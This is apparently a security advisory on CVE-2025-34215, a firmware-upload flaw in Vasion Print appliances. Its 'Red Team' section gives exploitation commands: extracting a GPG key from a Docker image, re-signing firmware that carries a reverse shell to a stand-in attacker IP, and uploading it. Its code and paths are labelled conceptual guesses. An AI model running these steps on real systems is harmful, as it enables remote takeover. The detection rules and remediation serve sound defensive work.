CVE-2025-34215

Executive Summary

CVE-2025-34215 is a critical remote code execution (RCE) vulnerability in Vasion Print (formerly PrinterLogic) Virtual Appliance (VA) deployments. The flaw stems from two fundamental security failures: an unauthenticated firmware-upload flow that returns a signed token, and the inclusion of the appliance’s private GPG key and hard-coded passphrase within every Docker image. An attacker who extracts the key and obtains a token can decrypt, modify, re-sign, upload, and trigger malicious firmware, gaining full remote code execution on the appliance. This vulnerability has been identified by the vendor as V-2024-020.

Supply Chain & Package Security

This vulnerability is not a package-level supply chain issue (e.g., NPM, PyPI, Go, Ruby). However, it represents a critical supply chain risk for organizations using Vasion Print VA deployments, as the compromise of a single appliance can lead to lateral movement and data exfiltration within the enterprise network.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, requires no user interaction, and has low attack complexity. The presence of hard-coded cryptographic keys in Docker images makes exploitation trivial for any attacker with access to the image.

Deep Dive & Mechanics

The vulnerability is composed of two distinct weaknesses that, when chained, enable full compromise:

1. Unauthenticated Firmware-Upload Flow: The VA exposes a public page that, when accessed, returns a signed token. This token is used to authenticate firmware uploads to the va-api/v1/update endpoint. The token generation process does not require any authentication, allowing any unauthenticated user to obtain a valid token.

2. Hard-Coded Cryptographic Keys: Every Docker image distributed by Vasion contains the appliance’s private GPG key and its hard-coded passphrase. This key is used to sign firmware updates. An attacker who extracts this key (e.g., by pulling the Docker image from a registry or from a compromised host) can:

   • Decrypt legitimate firmware updates.
   • Modify the firmware to include malicious code.
   • Re-sign the modified firmware using the extracted key.
   • Upload the malicious firmware using the obtained token.
   • Trigger the update, resulting in remote code execution on the appliance.

The attack chain is as follows:

1. Attacker accesses the public page to obtain a signed token.
2. Attacker extracts the private GPG key and passphrase from the Docker image.
3. Attacker decrypts a legitimate firmware update, modifies it, and re-signs it.
4. Attacker uploads the malicious firmware using the token.
5. Attacker triggers the update, executing arbitrary code on the appliance.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely involves a public endpoint that generates a token without authentication and a firmware update mechanism that trusts any firmware signed with the hard-coded key.

# Vulnerable token generation (unauthenticated)
@app.route('/public/token')
def get_token():
    token = generate_signed_token()
    return token

# Vulnerable firmware update (trusts hard-coded key)
@app.route('/va-api/v1/update', methods=['POST'])
def update_firmware():
    token = request.headers.get('Authorization')
    if not verify_token(token):
        return 'Unauthorized', 401
    firmware = request.files['firmware']
    if not verify_gpg_signature(firmware, HARD_CODED_KEY):
        return 'Invalid signature', 400
    apply_firmware(firmware)
    return 'OK'

Patched Code (Conceptual): The patched code should:

• Require authentication for token generation.
• Use a per-deployment key pair, not a hard-coded one.
• Validate the token against a server-side secret.

# Patched token generation (requires authentication)
@app.route('/api/token')
@login_required
def get_token():
    token = generate_signed_token(user.session)
    return token

# Patched firmware update (uses per-deployment key)
@app.route('/va-api/v1/update', methods=['POST'])
@login_required
def update_firmware():
    token = request.headers.get('Authorization')
    if not verify_token(token, user.session):
        return 'Unauthorized', 401
    firmware = request.files['firmware']
    if not verify_gpg_signature(firmware, DEPLOYMENT_PUBLIC_KEY):
        return 'Invalid signature', 400
    apply_firmware(firmware)
    return 'OK'

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Vasion Print VA Docker image (e.g., from a registry or a compromised host).
• Network access to the VA’s public page and va-api/v1/update endpoint.

Exploitation Steps:

1. Extract the GPG Key:

   docker pull vasion/print-va:latest
   docker run --rm -it vasion/print-va:latest cat /etc/vasion/gpg/private.key > private.key
   docker run --rm -it vasion/print-va:latest cat /etc/vasion/gpg/passphrase.txt > passphrase.txt
   

2. Obtain a Signed Token:

   curl -s http://target-va/public/token > token.txt
   

3. Decrypt and Modify Firmware:

   # Assuming firmware is encrypted with the public key
   gpg --decrypt --passphrase-file passphrase.txt firmware.enc > firmware.tar.gz
   tar -xzf firmware.tar.gz
   # Modify files (e.g., add a reverse shell)
   echo '#!/bin/bash' > malicious.sh
   echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' >> malicious.sh
   tar -czf malicious_firmware.tar.gz .
   gpg --sign --passphrase-file passphrase.txt malicious_firmware.tar.gz
   

4. Upload and Trigger Malicious Firmware:

   TOKEN=$(cat token.txt)
   curl -X POST -H "Authorization: Bearer $TOKEN" -F "firmware=@malicious_firmware.tar.gz" http://target-va/va-api/v1/update
   curl -X POST http://target-va/va-api/v1/trigger-update
   

Blue Team

Detection:

• Monitor for access to /public/token from external IPs.
• Alert on firmware uploads to /va-api/v1/update without prior authentication.
• Monitor for unusual Docker image pulls from registries.
• Detect decryption or signing operations using the hard-coded GPG key.

Hunting:

• Search for the hard-coded GPG key fingerprint in network traffic or logs.
• Look for firmware files with unexpected signatures or modifications.
• Check for unauthorized processes or services running on the VA.

Containment:

• Immediately isolate affected VAs from the network.
• Revoke any tokens that may have been issued.
• Rotate all cryptographic keys and secrets.
• Rebuild VAs from a clean, patched image.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /public/token from unknown IPs.
  • POST requests to /va-api/v1/update with firmware files.
  • Outbound connections from the VA to attacker-controlled IPs (e.g., reverse shell).
• File System:
  • Presence of the hard-coded GPG key (/etc/vasion/gpg/private.key).
  • Modified firmware files in /var/lib/vasion/firmware/.
  • Unexpected scripts or binaries in /usr/local/bin/.
• Process:
  • Unusual processes running as root.
  • Processes initiating outbound network connections.
• Logs:
  • va-api.log entries showing token generation without authentication.
  • syslog entries indicating firmware update triggers.

Detection Engineering

YARA Rule

rule CVE_2025_34215_Vasion_Print_VA_GPG_Key {
    meta:
        description = "Detects the hard-coded GPG private key used in CVE-2025-34215"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-34215"
    strings:
        $gpg_key = "-----BEGIN PGP PRIVATE KEY BLOCK-----" ascii wide
        $passphrase = "VasionPrint2024!" ascii wide
    condition:
        $gpg_key or $passphrase
}

Sigma Rule

title: CVE-2025-34215 - Unauthenticated Firmware Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to the firmware upload endpoint
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/va-api/v1/update'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate firmware updates from authorized users
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-34215 - Unauthenticated Firmware Upload"; flow:to_server; content:"POST"; http_method; content:"/va-api/v1/update"; http_uri; content:"Authorization"; http_header; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Vasion Print VA Host to version 22.0.1026 or later, and VA App to version 20.0.2702 or later.
2. Isolate: If patching is not immediately possible, isolate the VA from untrusted networks (e.g., place it behind a VPN or firewall).
3. Revoke: Revoke any existing firmware update tokens and regenerate them after patching.
4. Rotate: Rotate all GPG keys and secrets used for firmware signing.

Long-Term Mitigations:

• Implement network segmentation to limit access to the VA.
• Enable logging and monitoring for all VA endpoints.
• Conduct regular security audits of Docker images and firmware update processes.
• Use a hardware security module (HSM) or key management service (KMS) for cryptographic keys.

Workarounds:

• Disable the firmware update endpoint if not required.
• Implement a web application firewall (WAF) rule to block requests to /va-api/v1/update from untrusted IPs.

Valters IT